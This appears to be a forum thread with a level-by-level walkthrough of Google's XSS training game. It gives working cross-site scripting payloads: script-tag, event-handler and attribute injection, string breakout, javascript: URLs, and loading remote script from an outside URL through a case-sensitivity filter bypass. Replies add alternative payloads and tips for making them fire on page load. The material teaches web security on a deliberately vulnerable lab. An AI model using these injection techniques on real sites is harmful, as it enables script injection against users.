4 ms·
I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text: # lvl 1 Enter `<script>alert('')</script>` int
by randyrand 10y ago
I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text:
# lvl 1
Enter `<script>alert('')</script>` into the search box.
# lvl 2
Use the `onclick` attribute of the font tag (hint is from the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
<font color="red" onclick="alert('')">blah</font>
and then click blah after posting the message. (or use onload etc.)
# lvl 3
Modify the URL parameter so that you inject code into the `<img>` tag:
https://xss-game.appspot.com/level3/frame#1.jpg' onclick="alert('')" alt='a picture called 1
which will render as:
html += "<img src='/static/level3/cloud/1.jpg' onclick="alert('')" alt='a picture called 1.jpg'/>";
on line 17 of the HTML file. Now click on the picture.
# lvl 4
Use `3'); alert('` as the value for your timer.
# lvl 5
Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use this as the location that the user is sent to on the signup page. Go the the URL:
https://xss-game.appspot.com/level5/frame/signup? next=javascript:alert('')
and then click the `Next` link.
# lvl 6
The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:
alert('');
and then go the the url `https://xss- game.appspot.com/level6/frame#Http://mysite.com/xss.js`
# Notes
In an actual attack you'd use onerror or onload everywhere instead of onclick.
- deleted 10y ago[deleted]
- collinmanderson 10y agoSome alternatives: #1 <script>alert()</script> (no need for an empty string) #4 '+alert()+' #6 you can also use a protocol-relative url //google.com/jsapi?callback=alert
- n_ 10y agoOn level 3: https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script> will execute on load rather than after user input.
- maaarghk 10y agoyeah, as the notes say you would use onload IRL.
- dstjean 10y agoLevel 6: You can exclude the protocol entirely (eg: "//news.ycombinator.com") This will ensure the browser uses the "current protocol" as in if your website is browseable from http all request //www...com will be http and if your page is fetched using https, all resources starting with //www.hn.com will be loaded using https if your website was reachable from protocol xyz://mydomain.com, all resources starting with // would be fetched using the xyz:// protocol
- jtinder 10y agoor you can simply add a space after #
- fryguy 10y agoOn 6 you can also just put a space before the URI and it seems to trim the string before loading it.
- jrockway 10y agoI just used a data URI for the last one.
- et-al 10y agoLevel 5: To clarify, you need to update the URL, then hit the Go button to the right to update the page, then finally click the newly updated "Next >>" link. - - - re: Level 4 Can someone explain how the possible strings break the parseInt()? Source code: function startTimer(seconds) { seconds = parseInt(seconds) || 3; setTimeout(function() { window.confirm("Time is up!"); window.history.back(); }, seconds * 1000); } I tried running parseInt() in the console and just got NaNs for `'+alert()+'` and `3'); alert('`.